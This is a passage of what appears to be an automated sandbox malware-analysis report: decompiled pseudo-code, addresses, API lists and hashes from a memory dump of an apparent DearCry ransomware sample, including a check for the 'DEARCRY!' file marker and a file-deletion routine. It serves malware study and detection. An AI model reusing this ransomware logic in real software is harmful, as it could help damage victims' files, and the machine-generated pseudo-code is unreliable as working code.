                                                                										__eflags = _v12;
                                                                										_t98 = _t81;
                                                                										if(_v12 != 0) {
                                                                											_t75 = _t81;
                                                                											_t90 = _t75 % _v12;
                                                                											_t98 = _t98 - _t75 % _v12;
                                                                											__eflags = _t98;
                                                                										}
                                                                										_push(_t98);
                                                                										_push(_v8);
                                                                										_push(E00B8D3F3(_t100)); // executed
                                                                										_t74 = E00B9335D(_t81, _t90, _t98, _t100, __eflags); // executed
                                                                										_t101 = _t101 + 0xc;
                                                                										__eflags = _t74 - 0xffffffff;
                                                                										if(_t74 == 0xffffffff) {
                                                                											L36:
                                                                											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
                                                                											_t69 = _v16;
                                                                											goto L35;
                                                                										} else {
                                                                											_t88 = _t98;
                                                                											__eflags = _t74 - _t98;
                                                                											if(_t74 <= _t98) {
                                                                												_t88 = _t74;
                                                                											}
                                                                											_v8 = _v8 + _t88;
                                                                											_t81 = _t81 - _t88;
                                                                											__eflags = _t74 - _t98;
                                                                											if(_t74 < _t98) {
                                                                												goto L36;
                                                                											} else {
                                                                												L27:
                                                                												_t97 = _v16;
                                                                												goto L31;
                                                                											}
                                                                										}
                                                                									}
                                                                									_t77 = E00B8D021(_t90, _t100); // executed
                                                                									__eflags = _t77;
                                                                									if(_t77 != 0) {
                                                                										goto L34;
                                                                									}
                                                                									goto L21;
                                                                								}
                                                                								_t78 =  *(_t100 + 4);
                                                                								__eflags = _t78;
                                                                								if(__eflags == 0) {
                                                                									goto L18;
                                                                								}
                                                                								if(__eflags < 0) {
                                                                									_t48 = _t100 + 0xc;
                                                                									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
                                                                									__eflags =  *_t48;
                                                                									goto L34;
                                                                								}
                                                                								_t99 = _t81;
                                                                								__eflags = _t81 - _t78;
                                                                								if(_t81 >= _t78) {
                                                                									_t99 = _t78;
                                                                								}
                                                                								E00B8B7A0(_t81, _t99, _t100,  *_t100, _v8, _t99);
                                                                								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
                                                                								 *_t100 =  *_t100 + _t99;
                                                                								_t101 = _t101 + 0xc;
                                                                								_t81 = _t81 - _t99;
                                                                								_v8 = _v8 + _t99;
                                                                								goto L27;
                                                                								L31:
                                                                								__eflags = _t81;
                                                                							} while (_t81 != 0);
                                                                							goto L32;
                                                                						}
                                                                					}
                                                                					L3:
                                                                					_t61 = E00B8D8C9(_t105);
                                                                					_push(0);
                                                                					_push(0);
                                                                					_push(0);
                                                                					_push(0);
                                                                					_push(0);
                                                                					 *_t61 = 0x16;
                                                                					E00B8FB6E(_t90, 0, _t100);
                                                                					goto L4;
                                                                				}
                                                                			}





























                                                                0x00b8ac41
                                                                0x00b8ac51
                                                                0x00b8ac77
                                                                0x00000000
                                                                0x00b8ac58
                                                                0x00b8ac58
                                                                0x00b8ac5b
                                                                0x00b8ac5d
                                                                0x00b8ac7e
                                                                0x00b8ac81
                                                                0x00b8ac83
                                                                0x00000000
                                                                0x00000000
                                                                0x00b8ac85
                                                                0x00b8ac8a
                                                                0x00b8ac8d
                                                                0x00b8ac90
                                                                0x00000000
                                                                0x00000000
                                                                0x00b8ac95
                                                                0x00b8ac99
                                                                0x00b8aca0
                                                                0x00b8aca3
                                                                0x00b8aca6
                                                                0x00b8aca8
                                                                0x00b8acb2
                                                                0x00b8acaa
                                                                0x00b8acad
                                                                0x00b8acad
                                                                0x00b8acb9
                                                                0x00b8acbb
                                                                0x00b8ad80
                                                                0x00000000
                                                                0x00b8acc1
                                                                0x00b8acc1
                                                                0x00b8acc4
                                                                0x00b8acc4
                                                                0x00b8acca
                                                                0x00b8acfb
                                                                0x00b8acfb
                                                                0x00b8acfe
                                                                0x00b8ad57
                                                                0x00b8ad5e
                                                                0x00b8ad61
                                                                0x00b8ad8c
                                                                0x00b8ad8c
                                                                0x00b8ad8e
                                                                0x00000000
                                                                0x00b8ad92
                                                                0x00b8ad63
                                                                0x00b8ad66
                                                                0x00b8ad69
                                                                0x00b8ad6a
                                                                0x00b8ad6d
                                                                0x00b8ad6f
                                                                0x00b8ad71
                                                                0x00b8ad71
                                                                0x00000000
                                                                0x00b8ad6f
                                                                0x00b8ad00
                                                                0x00b8ad02
                                                                0x00b8ad0f
                                                                0x00b8ad0f
                                                                0x00b8ad13
                                                                0x00b8ad15
                                                                0x00b8ad19
                                                                0x00b8ad1b
                                                                0x00b8ad1e
                                                                0x00b8ad1e
                                                                0x00b8ad1e
                                                                0x00b8ad20
                                                                0x00b8ad21
                                                                0x00b8ad2b
                                                                0x00b8ad2c
                                                                0x00b8ad31
                                                                0x00b8ad34
                                                                0x00b8ad37
                                                                0x00b8ad9a
                                                                0x00b8ad9a
                                                                0x00b8ad9e
                                                                0x00000000
                                                                0x00b8ad39
                                                                0x00b8ad39
                                                                0x00b8ad3b
                                                                0x00b8ad3d
                                                                0x00b8ad3f
                                                                0x00b8ad3f
                                                                0x00b8ad41
                                                                0x00b8ad44
                                                                0x00b8ad46
                                                                0x00b8ad48
                                                                0x00000000
                                                                0x00b8ad4a
                                                                0x00b8ad4a
                                                                0x00b8ad4a
                                                                0x00000000
                                                                0x00b8ad4a
                                                                0x00b8ad48
                                                                0x00b8ad37
                                                                0x00b8ad05
                                                                0x00b8ad0b
                                                                0x00b8ad0d
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00b8ad0d
                                                                0x00b8accc
                                                                0x00b8accf
                                                                0x00b8acd1
                                                                0x00000000
                                                                0x00000000
                                                                0x00b8acd3
                                                                0x00b8ad88
                                                                0x00b8ad88
                                                                0x00b8ad88
                                                                0x00000000
                                                                0x00b8ad88
                                                                0x00b8acd9
                                                                0x00b8acdb
                                                                0x00b8acdd
                                                                0x00b8acdf
                                                                0x00b8acdf
                                                                0x00b8ace7
                                                                0x00b8acec
                                                                0x00b8acef
                                                                0x00b8acf1
                                                                0x00b8acf4
                                                                0x00b8acf6
                                                                0x00000000
                                                                0x00b8ad78
                                                                0x00b8ad78
                                                                0x00b8ad78
                                                                0x00000000
                                                                0x00b8acc1
                                                                0x00b8acbb
                                                                0x00b8ac5f
                                                                0x00b8ac5f
                                                                0x00b8ac64
                                                                0x00b8ac65
                                                                0x00b8ac66
                                                                0x00b8ac67
                                                                0x00b8ac68
                                                                0x00b8ac69
                                                                0x00b8ac6f
                                                                0x00000000
                                                                0x00b8ac74

                                                                APIs
                                                                • __flush.LIBCMT ref: 00B8AD05
                                                                • __fileno.LIBCMT ref: 00B8AD25
                                                                • __locking.LIBCMT ref: 00B8AD2C
                                                                • __flsbuf.LIBCMT ref: 00B8AD57
                                                                  • Part of subcall function 00B8D8C9: __getptd_noexit.LIBCMT ref: 00B8D8C9
                                                                  • Part of subcall function 00B8FB6E: __decode_pointer.LIBCMT ref: 00B8FB79
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                • String ID:
                                                                • API String ID: 3240763771-0
                                                                • Opcode ID: af10f783225c8cfc59b5e0970ee8d4778b09fd3305b4cbaa056fec7ae8dbeaa3
                                                                • Instruction ID: 20f4d6c2426a70f49a379b0b0a4fb05148446cdb673a64e51a452385d6e9e5dd
                                                                • Opcode Fuzzy Hash: af10f783225c8cfc59b5e0970ee8d4778b09fd3305b4cbaa056fec7ae8dbeaa3
                                                                • Instruction Fuzzy Hash: 2941B631A00604DBEB25BF69C88059EB7F5EF80361F2485BAE455D75A0E771EE41CF41
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 95%
                                                                			E00AB10F6(void* __eax, intOrPtr __ebx, void* __ecx, intOrPtr __esi, void* __ebp, char _a4, char _a8, char _a12, char _a276, signed int _a532) {
                                                                				void* _t14;
                                                                				void* _t19;
                                                                				void* _t20;
                                                                				void* _t21;
                                                                				intOrPtr _t22;
                                                                				void* _t24;
                                                                				intOrPtr _t25;
                                                                				void* _t26;
                                                                				signed int _t33;
                                                                				intOrPtr _t34;
                                                                				intOrPtr _t35;
                                                                				void* _t37;
                                                                				signed int _t49;
                                                                
                                                                				_t35 = __esi;
                                                                				_t26 = __ecx;
                                                                				_t25 = __ebx;
                                                                				_t14 = __eax;
                                                                				while(1) {
                                                                					_t32 =  *((intOrPtr*)(_t37 + _t26 + 0x14));
                                                                					_t3 = _t26 + "DEARCRY!"; // 0x52414544
                                                                					if( *((intOrPtr*)(_t37 + _t26 + 0x14)) !=  *_t3) {
                                                                						break;
                                                                					}
                                                                					_t14 = _t14 - 4;
                                                                					_t26 = _t26 + 4;
                                                                					if(_t14 >= 4) {
                                                                						continue;
                                                                					} else {
                                                                						_t19 = E00B8AC24( &_a4, 1, 4, _t35);
                                                                						_t37 = _t37 + 0x10;
                                                                						if(_t19 == 4 && _a4 == 0x100) {
                                                                							_t20 = E00B8AC24( &_a276, 1, 0x100, _t35);
                                                                							_t37 = _t37 + 0x10;
                                                                							if(_t20 == _a4) {
                                                                								_t32 =  &_a8;
                                                                								_t21 = E00B8AC24( &_a8, 1, 4, _t35);
                                                                								_t37 = _t37 + 0x10;
                                                                								if(_t21 == 4) {
                                                                									_t22 = _a8;
                                                                									if(_t22 == 3 || _t22 == 4) {
                                                                										_t24 = E00B8AC24( &_a12, 1, 8, _t35);
                                                                										_t37 = _t37 + 0x10;
                                                                										_t12 = _t24 == 8;
                                                                										_t49 = _t12;
                                                                										_t33 = 0 | _t12;
                                                                									}
                                                                								}
                                                                							}
                                                                						}
                                                                						break;
                                                                					}
                                                                				}
                                                                				E00B8B1A7(_t25, _t32, _t33, _t35, _t49); // executed
                                                                				_t34 = _t35;
                                                                				return E00B89C26(_t33, _t25, _a532 ^ _t37 + 0x00000004, _t32, _t34, _t35);
                                                                			}
















                                                                0x00ab10f6
                                                                0x00ab10f6
                                                                0x00ab10f6
                                                                0x00ab10f6
                                                                0x00ab1100
                                                                0x00ab1100
                                                                0x00ab1104
                                                                0x00ab110a
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1110
                                                                0x00ab1113
                                                                0x00ab1119
                                                                0x00000000
                                                                0x00ab111b
                                                                0x00ab1125
                                                                0x00ab112a
                                                                0x00ab1130
                                                                0x00ab114c
                                                                0x00ab1151
                                                                0x00ab1158
                                                                0x00ab115d
                                                                0x00ab1164
                                                                0x00ab1169
                                                                0x00ab116f
                                                                0x00ab1171
                                                                0x00ab1178
                                                                0x00ab1189
                                                                0x00ab1190
                                                                0x00ab1196
                                                                0x00ab1196
                                                                0x00ab1199
                                                                0x00ab1199
                                                                0x00ab1178
                                                                0x00ab116f
                                                                0x00ab1158
                                                                0x00000000
                                                                0x00ab1130
                                                                0x00ab1119
                                                                0x00ab119c
                                                                0x00ab11ad
                                                                0x00ab11bb

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __fread_nolock
                                                                • String ID:
                                                                • API String ID: 2638373210-0
                                                                • Opcode ID: d5b77ac134d97cc0011df8b6be91f72e458d5c93a3c0987d31898089d7d9699f
                                                                • Instruction ID: 82605363420b03a205fe523481d9dba2ccfbeaa6eebd456d6fc05bdbfefc7732
                                                                • Opcode Fuzzy Hash: d5b77ac134d97cc0011df8b6be91f72e458d5c93a3c0987d31898089d7d9699f
                                                                • Instruction Fuzzy Hash: 5A11E27160030027FE34E6289CA6FFE3299EB90714F944D2DF31996182E675E541C7A3
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00B8A686(CHAR* _a4) {
                                                                				int _t2;
                                                                				long _t3;
                                                                
                                                                				_t2 = DeleteFileA(_a4); // executed
                                                                				if(_t2 != 0) {
                                                                					_t3 = 0;
                                                                				} else {
                                                                					_t3 = GetLastError();
                                                                				}
                                                                				if(_t3 == 0) {
                                                                					return 0;
                                                                				} else {
                                                                					return E00B8D8EF(_t3) | 0xffffffff;
                                                                				}
                                                                			}





                                                                0x00b8a68e
                                                                0x00b8a696
                                                                0x00b8a6a0
                                                                0x00b8a698
                                                                0x00b8a698
                                                                0x00b8a698
                                                                0x00b8a6a4
                                                                0x00b8a6b5
                                                                0x00b8a6a6
                                                                0x00b8a6b1
                                                                0x00b8a6b1

                                                                APIs
                                                                • DeleteFileA.KERNELBASE(?,?,00AB1587,?,?), ref: 00B8A68E
                                                                • GetLastError.KERNEL32 ref: 00B8A698
                                                                • __dosmaperr.LIBCMT ref: 00B8A6A7
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: DeleteErrorFileLast__dosmaperr
                                                                • String ID:
                                                                • API String ID: 1545401867-0
                                                                • Opcode ID: bb6a3b3444376542110a41d3e4940eaf39039e9f5125874adab0ead4c3c2e0b4
                                                                • Instruction ID: 5690ed044325607cb174998f73f03b4f291b6be28568fb4486859ee2b4fd29b9
                                                                • Opcode Fuzzy Hash: bb6a3b3444376542110a41d3e4940eaf39039e9f5125874adab0ead4c3c2e0b4
                                                                • Instruction Fuzzy Hash: 2DD05E3111410967AB143AB6AC0A9177BDCDB8137075845A7F41CC10F0FE21DC81D651
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 70%
                                                                			E00B8AB8E(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
                                                                				intOrPtr _t19;
                                                                				intOrPtr _t22;
                                                                				void* _t33;
                                                                				void* _t34;
                                                                
                                                                				_t30 = __edi;
                                                                				_t29 = __edx;
                                                                				_push(0xc);
                                                                				_push(0xbdfa20);
                                                                				E00B90838(__ebx, __edi, __esi);
                                                                				 *((intOrPtr*)(_t33 - 0x1c)) = 0;
                                                                				if( *((intOrPtr*)(_t33 + 0x10)) == 0 ||  *((intOrPtr*)(_t33 + 0x14)) == 0) {
                                                                					L6:
                                                                					_t19 = 0;
                                                                				} else {
                                                                					if( *((intOrPtr*)(_t33 + 0x18)) != 0) {
                                                                						E00B8A4BD( *((intOrPtr*)(_t33 + 0x18)));
                                                                						 *((intOrPtr*)(_t33 - 4)) = 0;
                                                                						_t22 = E00B8A984(__edx,  *((intOrPtr*)(_t33 + 8)),  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)),  *((intOrPtr*)(_t33 + 0x14)),  *((intOrPtr*)(_t33 + 0x18))); // executed
                                                                						 *((intOrPtr*)(_t33 - 0x1c)) = _t22;
                                                                						 *((intOrPtr*)(_t33 - 4)) = 0xfffffffe;
                                                                						E00B8AC1A();
                                                                						_t19 =  *((intOrPtr*)(_t33 - 0x1c));
                                                                					} else {
                                                                						_t41 =  *((intOrPtr*)(_t33 + 0xc)) - 0xffffffff;
                                                                						if( *((intOrPtr*)(_t33 + 0xc)) != 0xffffffff) {
                                                                							E00B8BB40(__edi,  *((intOrPtr*)(_t33 + 8)), 0,  *((intOrPtr*)(_t33 + 0xc)));
                                                                							_t34 = _t34 + 0xc;
                                                                						}
                                                                						 *((intOrPtr*)(E00B8D8C9(_t41))) = 0x16;
                                                                						_push(0);
                                                                						_push(0);
                                                                						_push(0);
                                                                						_push(0);
                                                                						_push(0);
                                                                						E00B8FB6E(_t29, _t30, 0);
                                                                						goto L6;
                                                                					}
                                                                				}
                                                                				return E00B9087D(_t19);
                                                                			}







                                                                0x00b8ab8e
                                                                0x00b8ab8e
                                                                0x00b8ab8e
                                                                0x00b8ab90
                                                                0x00b8ab95
                                                                0x00b8ab9c
                                                                0x00b8aba2
                                                                0x00b8abdb
                                                                0x00b8abdb
                                                                0x00b8aba9
                                                                0x00b8abac
                                                                0x00b8abe6
                                                                0x00b8abec
                                                                0x00b8abfe
                                                                0x00b8ac06
                                                                0x00b8ac09
                                                                0x00b8ac10
                                                                0x00b8ac15
                                                                0x00b8abae
                                                                0x00b8abae
                                                                0x00b8abb2
                                                                0x00b8abbb
                                                                0x00b8abc0
                                                                0x00b8abc0
                                                                0x00b8abc8
                                                                0x00b8abce
                                                                0x00b8abcf
                                                                0x00b8abd0
                                                                0x00b8abd1
                                                                0x00b8abd2
                                                                0x00b8abd3
                                                                0x00000000
                                                                0x00b8abd8
                                                                0x00b8abac
                                                                0x00b8abe2

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __lock_file_memset
                                                                • String ID:
                                                                • API String ID: 26237723-0
                                                                • Opcode ID: 12c96c7d8cd43551dca6ed61c8eb044c769f3f96b95b31adf5118b6bfb2d6268
                                                                • Instruction ID: 78848c9c070f374c8adf62a1949e5a637c7e7bdcd2d511d82cf733307a5fe551
                                                                • Opcode Fuzzy Hash: 12c96c7d8cd43551dca6ed61c8eb044c769f3f96b95b31adf5118b6bfb2d6268
                                                                • Instruction Fuzzy Hash: C8010C71901219EBDF21BFA4DC0299E7BB1EF04750F4481A6F825161B1D7358662EFD2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 66%
                                                                			E00B8B1A7(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                                				signed int _t18;
                                                                				signed int _t20;
                                                                				intOrPtr _t31;
                                                                				void* _t32;
                                                                				intOrPtr _t36;
                                                                
                                                                				_push(0xc);
                                                                				_push(0xbdfa80);
                                                                				E00B90838(__ebx, __edi, __esi);
                                                                				 *(_t32 - 0x1c) =  *(_t32 - 0x1c) | 0xffffffff;
                                                                				_t31 =  *((intOrPtr*)(_t32 + 8));
                                                                				_t36 = _t31;
                                                                				_t37 = _t36 != 0;
                                                                				if(_t36 != 0) {
                                                                					__eflags =  *(_t31 + 0xc) & 0x00000040;
                                                                					if(( *(_t31 + 0xc) & 0x00000040) == 0) {
                                                                						E00B8A4BD(_t31);
                                                                						 *((intOrPtr*)(_t32 - 4)) = 0;
                                                                						_t18 = E00B8B130(__edx, _t31); // executed
                                                                						 *(_t32 - 0x1c) = _t18;
                                                                						 *((intOrPtr*)(_t32 - 4)) = 0xfffffffe;
                                                                						E00B8B21B(_t31);
                                                                					} else {
                                                                						 *(_t31 + 0xc) = 0;
                                                                					}
                                                                					_t20 =  *(_t32 - 0x1c);
                                                                				} else {
                                                                					 *((intOrPtr*)(E00B8D8C9(_t37))) = 0x16;
                                                                					_push(0);
                                                                					_push(0);
                                                                					_push(0);
                                                                					_push(0);
                                                                					_push(0);
                                                                					_t20 = E00B8FB6E(__edx, 0, _t31) | 0xffffffff;
                                                                				}
                                                                				return E00B9087D(_t20);
                                                                			}








                                                                0x00b8b1a7
                                                                0x00b8b1a9
                                                                0x00b8b1ae
                                                                0x00b8b1b3
                                                                0x00b8b1b9
                                                                0x00b8b1be
                                                                0x00b8b1c3
                                                                0x00b8b1c5
                                                                0x00b8b1e4
                                                                0x00b8b1e8
                                                                0x00b8b1f7
                                                                0x00b8b1fd
                                                                0x00b8b201
                                                                0x00b8b207
                                                                0x00b8b20a
                                                                0x00b8b211
                                                                0x00b8b1ea
                                                                0x00b8b1ea
                                                                0x00b8b1ea
                                                                0x00b8b1ed
                                                                0x00b8b1c7
                                                                0x00b8b1cc
                                                                0x00b8b1d2
                                                                0x00b8b1d3
                                                                0x00b8b1d4
                                                                0x00b8b1d5
                                                                0x00b8b1d6
                                                                0x00b8b1df
                                                                0x00b8b1df
                                                                0x00b8b1f5

                                                                APIs
                                                                  • Part of subcall function 00B8D8C9: __getptd_noexit.LIBCMT ref: 00B8D8C9
                                                                  • Part of subcall function 00B8FB6E: __decode_pointer.LIBCMT ref: 00B8FB79
                                                                • __lock_file.LIBCMT ref: 00B8B1F7
                                                                  • Part of subcall function 00B8A4BD: __lock.LIBCMT ref: 00B8A4E2
                                                                • __fclose_nolock.LIBCMT ref: 00B8B201
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                • String ID:
                                                                • API String ID: 717694121-0
                                                                • Opcode ID: 2696133d28f3654e139bfd00d42274bcaded3e7246f18d056db21bba2210ee45
                                                                • Instruction ID: 642cb9f509718f4e68a78689b42d4170b5829c68b0b59ed6f580db3628df4111
                                                                • Opcode Fuzzy Hash: 2696133d28f3654e139bfd00d42274bcaded3e7246f18d056db21bba2210ee45
                                                                • Instruction Fuzzy Hash: 3DF0C871D10605CACB20BB798849A5E7BE09F44330F1082D5E4756A1F1D7384602DB55
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 58%
                                                                			E00AC3430(void* __ebx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                				void* __edi;
                                                                				intOrPtr* _t5;
                                                                				void* _t6;
                                                                				void* _t10;
                                                                				void* _t12;
                                                                				void* _t15;
                                                                
                                                                				_t10 = __ebx;
                                                                				_t5 =  *0xbe1284; // 0xac33f0
                                                                				if(_t5 == 0 || _t5 == E00AC33F0) {
                                                                					_t14 = _a4;
                                                                					if(_a4 > 0) {
                                                                						 *0xbe1280 = 0; // executed
                                                                						_t6 = E00B8A294(_t10, _t12, _t14, _t14); // executed
                                                                						goto L6;
                                                                					} else {
                                                                						return 0;
                                                                					}
                                                                				} else {
                                                                					_t14 = _a4;
                                                                					_t6 =  *_t5(_a4, _a8, _a12);
                                                                					L6:
                                                                					_t15 = _t6;
                                                                					if(_t15 != 0) {
                                                                						E00B8BB40(_t14, _t15, 0, _t14);
                                                                					}
                                                                					return _t15;
                                                                				}
                                                                			}









                                                                0x00ac3430
                                                                0x00ac3430
                                                                0x00ac3439
                                                                0x00ac3458
                                                                0x00ac345e
                                                                0x00ac3466
                                                                0x00ac3470
                                                                0x00000000
                                                                0x00ac3461
                                                                0x00ac3464
                                                                0x00ac3464
                                                                0x00ac3442
                                                                0x00ac344a
                                                                0x00ac3451
                                                                0x00ac3478
                                                                0x00ac3478
                                                                0x00ac347c
                                                                0x00ac3482
                                                                0x00ac3487
                                                                0x00ac348e
                                                                0x00ac348e

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _malloc_memset
                                                                • String ID:
                                                                • API String ID: 4137368368-0
                                                                • Opcode ID: 42823680749751e98ca37e777fdc1dcb42e68e10cf9af3865cd51136d031dca6
                                                                • Instruction ID: 3d267151e99f17607ec3b6e6b39841051a77705defcf5959011ea974f84f39a5
                                                                • Opcode Fuzzy Hash: 42823680749751e98ca37e777fdc1dcb42e68e10cf9af3865cd51136d031dca6
                                                                • Instruction Fuzzy Hash: 7CF0B4736042516BDA159B19BC41F5FA3A4EBC1B61F16851DF804DB210DB70DD0282B3
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 85%
                                                                			E00AB1997(signed int __edx) {
                                                                				int _t91;
                                                                				intOrPtr* _t92;
                                                                				signed int _t93;
                                                                				intOrPtr* _t94;
                                                                				signed int _t102;
                                                                				intOrPtr* _t103;
                                                                				signed int _t105;
                                                                				signed int _t106;
                                                                				signed int _t111;
                                                                				signed int _t112;
                                                                				intOrPtr* _t113;
                                                                				signed int _t114;
                                                                				char* _t117;
                                                                				signed int _t118;
                                                                				char _t121;
                                                                				intOrPtr* _t122;
                                                                				signed int _t125;
                                                                				intOrPtr* _t126;
                                                                				signed int _t127;
                                                                				intOrPtr* _t128;
                                                                				signed int _t132;
                                                                				signed int _t134;
                                                                				intOrPtr* _t137;
                                                                				signed int _t139;
                                                                				signed int _t140;
                                                                				intOrPtr* _t142;
                                                                				void* _t143;
                                                                				signed int _t146;
                                                                				intOrPtr* _t151;
                                                                				void* _t152;
                                                                				char _t155;
                                                                				intOrPtr* _t156;
                                                                				intOrPtr _t160;
                                                                				signed int _t167;
                                                                				signed int _t168;
                                                                				signed int _t170;
                                                                				signed int _t171;
                                                                				signed int _t172;
                                                                				signed int _t173;
                                                                				signed int _t174;
                                                                				signed int _t176;
                                                                				signed int _t178;
                                                                				signed int _t179;
                                                                				signed int _t181;
                                                                				char _t182;
                                                                				intOrPtr _t183;
                                                                				signed int _t184;
                                                                				signed int _t186;
                                                                				void* _t188;
                                                                				void* _t189;
                                                                				void* _t190;
                                                                				void* _t191;
                                                                				void* _t194;
